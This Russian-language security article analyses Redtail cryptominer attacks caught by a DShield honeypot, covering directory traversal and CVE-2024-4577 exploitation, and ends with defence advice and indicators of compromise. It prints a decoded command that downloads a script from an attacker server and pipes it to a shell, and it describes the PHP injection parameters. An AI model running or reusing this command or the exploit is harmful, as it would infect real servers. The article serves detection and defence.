За последние несколько месяцев специалисты, работающие с проектом Internet Storm Center (ISC) и собственной SIEM-системой, получили ценный опыт обнаружения скрытых угроз. Анализ логов ловушки (honeypot) DShield, развёрнутой на базе Raspberry Pi, показал, насколько трудно выделить по-настоящему опасные сигналы в потоке обычных попыток взлома. Самыми интересными индикаторами оказались следы активности криптомайнеров Redtail - вредоносного ПО, добывающего криптовалюту за счёт ресурсов жертвы.
Описание
Ловушка DShield имитирует работу уязвимых сервисов: HTTP, Telnet, SSH и межсетевого экрана. В её составе используется симулятор Debian-системы Cowrie для перехвата SSH- и Telnet-сессий, а также скрипты web.py и tcp-honeypot.py для записи HTTP- и TCP-взаимодействий. Все логи отправляются как в ISC, так и в локальную SIEM на базе ELK. Именно благодаря SIEM удалось заметить необычную закономерность: помимо стандартных попыток подбора паролей, появились HTTP-запросы, за которыми скрывалась установка криптомайнера.
В ходе наблюдений специалист сообщил о двух разных вариантах атак Redtail. Первый вариант, уже известный, действовал через SSH и Telnet. Второй, гораздо более массовый, использовал HTTP и ранее не документированные приёмы. Исследователи зафиксировали 113 различных IP-адресов, отправлявших подозрительные HTTP-запросы. Для детального анализа были выбраны три наиболее активных узла: 82.165.66[.]87 (Германия), 2.27.53[.]96 (Великобритания) и 103.40.61[.]98 (Индия).
Все три адреса действовали по схожему сценарию. Атака начиналась с четырёх HTTP POST-запросов. Первые два POST-запроса пытались использовать directory traversal (обход каталогов) для доступа к /bin/sh через CGI-скрипты. Затем следовала попытка скачать исполняемый файл с удалённого сервера (например, 31.57.216[.]121/sh или 178.16.55[.]224/sh) с помощью утилит wget и curl. После этого запускался скрипт apache.selfrep, предназначенный для закрепления в системе (persistence). IP-адреса, на которые шли запросы, уже были известны как связанные с инфраструктурой криптомайнеров.
Следующие два POST-запроса напрямую эксплуатировали уязвимость CVE-2024-4577. Эта проблема затрагивает старые версии PHP, где механизм подстановки символов "Best-Fit" может превратить обычный ввод в исполняемую опцию. Злоумышленник отправляет строку "allow_url_include=1" и "auto_prepend_file=php://input", что позволяет выполнить произвольный PHP-код, переданный в теле запроса. Именно этим кодом загружается shell.exe и выполняется команда, закодированная в base64. После расшифровки она выглядит так:
| 1 | (wget --no-check-certificate -qO- https://31.57.216[.]121/sh || curl -sk https://31.57.216[.]121/sh) | sh -s cve_2024_4577.selfrep |
Дополнительно выполняется "echo(md5("Hello CVE-2024-4577"))" - это простой способ убедиться, что код отработал.
После успешного выполнения начинается сканирование различных путей установки PHP. На каждый найденный путь атакующий отправляет ответ "<?php echo(md5("Hello PHPUnit"));" - это разведка для выяснения, какие ещё уязвимости PHP можно использовать в будущем.
Интересно, что те же IP-адреса параллельно пытались войти по SSH с комбинацией admin/admin и проводили SYN-сканирование различных портов. Если вход по SSH удавался, никаких команд не выполнялось - это характерно для ботов, которые просто проверяют возможность входа. Сканирование SYN почти всегда заканчивалось неудачей, но сам факт такой активности подтверждает, что атакующие действуют не вручную, а с помощью автоматизированных скриптов.
Самый важный этап атаки - запуск скрипта "cve_2024_4577.selfrep". Этот скрипт определяет архитектуру системы (x86_64, i686, aarch64, arm7), находит каталоги для записи, останавливает другие криптомайнеры (если они уже есть) через их cron-задачи и устанавливает свою версию Redtail под именем ".redtail" (скрытый файл). Хотя сам Redtail известен с 2023 года, вариант, доставляемый через HTTP с эксплуатацией CVE-2024-4577, начал активно распространяться только с середины 2024 года.
Что делать для защиты? Во-первых, обновить PHP до актуальной версии - это устраняет саму уязвимость. Во-вторых, на межсетевом экране, системе предотвращения вторжений (IPS) или обратном прокси стоит заблокировать User-Agent "libredtail-http", который используется в таких атаках. В-третьих, можно настроить правила для блокировки запросов, содержащих в пути любой IP-адрес с "/sh" на конце - такие запросы крайне редко бывают легитимными. И наконец, если использовать SSH-ключи или аутентификацию через внешний сервер, подбор паролей станет бесполезным.
Этот инцидент лишний раз доказывает: даже небольшая ловушка в сочетании с SIEM способна выявить целое семейство атак, которые в противном случае могли бы остаться незамеченными. Внимание к HTTP-трафику и своевременное обновление ПО остаются ключевыми факторами защиты от криптомайнеров.
Индикаторы компрометации
IPv4
- 103.10.61.98
- 103.40.61.98
- 178.16.55.224
- 2.27.53.96
- 31.57.216.121
- 46.151.182.82
- 82.165.66.87
URLs
- 178.16.55.224/sh
- 31.57.216.121/sh
- https://31.57.216.121/sh